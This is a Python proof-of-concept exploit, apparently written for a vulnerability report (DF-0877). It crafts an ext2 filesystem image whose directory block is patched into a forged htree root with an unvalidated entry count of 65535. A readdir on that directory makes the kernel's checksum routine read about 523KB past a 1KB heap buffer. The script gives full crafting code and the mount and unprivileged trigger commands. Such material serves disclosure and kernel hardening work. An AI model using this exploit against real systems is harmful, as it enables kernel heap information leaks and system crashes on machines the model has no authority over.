#!/usr/bin/env python3
"""
DF-0877 — ext2_dx_csum OOB heap read via unvalidated htree entry count.

Produces an ext2 image with metadata_csum + dir_index features enabled,
containing a directory whose first data block is patched to look like an
htree root with h_entries_num (count) = 65535 while h_entries_max (limit)
is kept small and valid.

The bug (sys/vfs/ext2fs/ext2_csum.c:280-284,253,261):
  ext2_dx_csum_verify reads limit and count from disk. It validates
  `limit*8 <= bsize-tail` but NEVER checks `count <= limit`. The
  unvalidated count is passed to ext2_dx_csum which computes:
      size = count_offset + count * sizeof(struct ext2fs_htree_entry)
  and then reads `size` bytes from the directory block buffer:
      crc = calculate_crc32c(crc, buf, size)
  With count=65535 and sizeof(htree_entry)=8:
      size = 32 + 524280 = 524312 bytes
  The buffer is only bsize (1024) bytes, so this reads ~523KB past it
  into adjacent kernel heap (info leak) or unmapped pages (panic).

Reachability (POST-mount, unprivileged):
  Any readdir/lookup/stat on the directory triggers:
    ext2_readdir → ext2_blkatoff → ext2_dir_blk_csum_verify
                                   → ext2_dx_csum_verify → ext2_dx_csum
  The OOB read happens during the csum COMPUTATION, before the csum
  comparison at ext2_csum.c:289. So even though the csum mismatches
  (causing readdir to return EIO), the 524KB over-read already occurred.

Usage:  ./craft_img.py  OUT_IMG   [SIZE_MB]
"""
import os, sys, struct, subprocess, shutil, tempfile

SB_OFFSET = 1024

# ext2/e2fs feature flags
EXT2F_ROCOMPAT_METADATA_CKSUM = 0x0400
EXT2F_ROCOMPAT_GDT_CSUM       = 0x0010

# htree on-disk structures (sys/vfs/ext2fs/htree.h)
# struct ext2fs_htree_count  { uint16_t h_entries_max; uint16_t h_entries_num; }  = 4 bytes
# struct ext2fs_htree_entry  { uint32_t h_hash; uint32_t h_blk; }                 = 8 bytes
# struct ext2fs_htree_tail   { uint32_t ht_reserved; uint32_t ht_checksum; }      = 8 bytes
# struct ext2fs_htree_root_info { uint32_t h_reserved1; uint8_t h_hash_version;
#   uint8_t h_info_len; uint8_t h_ind_levels; uint8_t h_reserved2; }              = 8 bytes
HTREE_ENTRY_SIZE = 8
HTREE_TAIL_SIZE  = 8
ROOT_INFO_SIZE   = 8   # sizeof(struct ext2fs_htree_root_info)

POISON_COUNT = 65535   # h_entries_num — drives the 524312-byte read


def craft(out_path, size_mb=4):
    if os.path.exists(out_path):
        os.remove(out_path)

    # 1) Create a clean ext2 image: blocksize 1024, metadata_csum + dir_index ON,
    #    64bit OFF. Populate with a temp dir that has a subdirectory "testdir".
    mke2fs = shutil.which("mke2fs") or shutil.which("mkfs.ext4")
    with tempfile.TemporaryDirectory() as tmpd:
        os.makedirs(os.path.join(tmpd, "testdir"))
        cmd = [
            mke2fs, "-t", "ext2", "-b", "1024",
            "-O", "metadata_csum,dir_index,^64bit",
            "-O", "^resize_inode,^dir_nlink,^ext_attr,^sparse_super,^large_file,^filetype",
            "-E", "nodiscard", "-F", "-q", "-d", tmpd,
            out_path, f"{size_mb}M",
        ]
        print("[*] running:", " ".join(cmd))
        subprocess.run(cmd, check=True)

    # 2) Read the full image
    with open(out_path, "rb") as f:
        img = bytearray(f.read())

    sb = img[SB_OFFSET:SB_OFFSET + 1024]
    feat_rocompat = struct.unpack_from("<I", sb, 100)[0]
    bsize = 1024 << struct.unpack_from("<I", sb, 24)[0]  # s_log_block_size
    print(f"[*] features_rocompat = 0x{feat_rocompat:08x}  "
          f"(metadata_csum={'ON' if feat_rocompat & EXT2F_ROCOMPAT_METADATA_CKSUM else 'OFF'})")
    print(f"[*] block size = {bsize}")
    assert bsize == 1024, f"expected 1024-byte blocks, got {bsize}"

    # 3) Use debugfs to find testdir's inode, then its first data block.
    debugfs = shutil.which("debugfs")
    # Find the inode number of testdir by listing root dir (inode 2)
    r = subprocess.run([debugfs, "-R", "ls -l <2>", out_path],
                       capture_output=True, text=True)
    testdir_ino = None
    for line in r.stdout.splitlines():
        parts = line.split()
        if len(parts) >= 6 and parts[-1].strip() == "testdir":
            testdir_ino = int(parts[0])
            break
    assert testdir_ino is not None, "testdir not found in root directory"
    print(f"[*] testdir inode = {testdir_ino}")

    # Get the physical block number of logical block 0 of testdir
    r = subprocess.run([debugfs, "-R", f"bmap <{testdir_ino}> 0", out_path],
                       capture_output=True, text=True)
    blk_str = r.stdout.strip().split('\n')[-1].strip()
    phys_blk = int(blk_str)
    print(f"[*] testdir logical block 0 -> physical block {phys_blk}")
    assert phys_blk > 0, "testdir has no data block?"

    blk_off = phys_blk * bsize
    block = bytearray(img[blk_off:blk_off + bsize])
    print(f"[*] testdir block at image offset 0x{blk_off:x} ({blk_off})")

    # 4) Verify the block has "." and ".." dirents in the expected layout.
    dot_inode  = struct.unpack_from("<I", block, 0)[0]
    dot_rec    = struct.unpack_from("<H", block, 4)[0]
    dot_name   = block[8:11]
    dotdot_rec = struct.unpack_from("<H", block, 16)[0]   # reclen at offset 12+4
    print(f"[*] '.'  inode={dot_inode} reclen={dot_rec} name={dot_name!r}")
    print(f"[*] '..' reclen={dotdot_rec}")

    if dot_rec != 12:
        print("[!] WARNING: '.'.reclen=%d (expected 12)" % dot_rec)

    # 4b) CRITICAL: mke2fs leaves room for a dirent tail (12 bytes) when
    #     metadata_csum is on, so '..'.reclen = bsize-24, not bsize-12.
    #     ext2_dirent_get_tail would then FIND the tail and route to
    #     ext2_dirent_csum_verify instead of ext2_dx_csum_verify. We need
    #     the dx path. Fix: stretch '..'.reclen to bsize-12 (filling the
    #     whole block) and zero the old tail area so the dirent-tail walk
    #     overshoots `top` and returns NULL (ext2_csum.c:165-166).
    if dotdot_rec != bsize - 12:
        print(f"[*] stretching '..'.reclen {dotdot_rec} -> {bsize - 12} (kill dirent tail)")
        struct.pack_into("<H", block, 16, bsize - 12)   # '..' reclen at offset 12+4=16
        # Zero the old dirent tail region (last 12 bytes of block)
        for i in range(bsize - 12, bsize):
            block[i] = 0

    # 5) Forge the htree root structure.
    #    ext2_get_dx_count requires (ext2_csum.c:220-232):
    #      ep->reclen == 12  AND  (ep+12)->reclen == bsize-12  AND
    #      root_info at ep+24: h_reserved1==0, h_info_len==8
    #    => count_offset = 32
    #
    #    Set limit=1 (small, passes the limit check), count=65535 (POISON).
    limit = 1  # h_entries_max
    count = POISON_COUNT  # h_entries_num

    # Offset 24: htree_root_info
    struct.pack_into("<I", block, 24, 0)         # h_reserved1 = 0
    block[28] = 0                                # h_hash_version = 0 (DETECT)
    block[29] = ROOT_INFO_SIZE                   # h_info_len = 8
    block[30] = 0                                # h_ind_levels = 0
    block[31] = 0                                # h_reserved2 = 0

    # Offset 32: htree_count
    struct.pack_into("<HH", block, 32, limit, count)  # h_entries_max, h_entries_num

    # Offset 32 + limit*8 = 40: htree_tail (for limit=1)
    tail_off = 32 + limit * HTREE_ENTRY_SIZE     # = 40
    struct.pack_into("<II", block, tail_off, 0, 0)    # ht_reserved=0, ht_checksum=0

    # The dx_csum will NOT match (we can't know the heap bytes past the buffer),
    # so ext2_dx_csum_verify returns EIO and readdir fails with EIO.
    # BUT the OOB read of 524312 bytes ALREADY HAPPENED during csum computation
    # at ext2_csum.c:261, BEFORE the comparison at :289. That is the bug.

    size_oob = 32 + count * HTREE_ENTRY_SIZE     # 524312
    print(f"\n[+] PATCHED testdir block:")
    print(f"      h_entries_max (limit) = {limit}")
    print(f"      h_entries_num (count) = {count}  (POISON)")
    print(f"      count_offset          = 32")
    print(f"      ext2_dx_csum read size = 32 + {count}*{HTREE_ENTRY_SIZE} = {size_oob} bytes")
    print(f"      buffer size (bsize)    = {bsize} bytes")
    print(f"      OOB read past buffer   = {size_oob - bsize} bytes  ({(size_oob-bsize)//1024} KB)")

    # 6) Write the patched block back
    img[blk_off:blk_off + bsize] = block

    # 7) We did NOT modify the superblock, group descriptors, or inode metadata,
    #    so all metadata checksums remain valid. The mount will succeed. Only
    #    the testdir data block is patched; its dx_csum mismatch is detected
    #    on first readdir (after the OOB read).

    with open(out_path, "wb") as f:
        f.write(img)
    print(f"\n[+] crafted image: {out_path} ({len(img)} bytes)")
    print(f"[+] mount:  mount_ext2fs /dev/vn0c /mnt")
    print(f"[+] trigger (as unprivileged): ls /mnt/testdir")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(__doc__); sys.exit(1)
    out = sys.argv[1]
    sz  = int(sys.argv[2]) if len(sys.argv) > 2 else 4
    craft(out, sz)
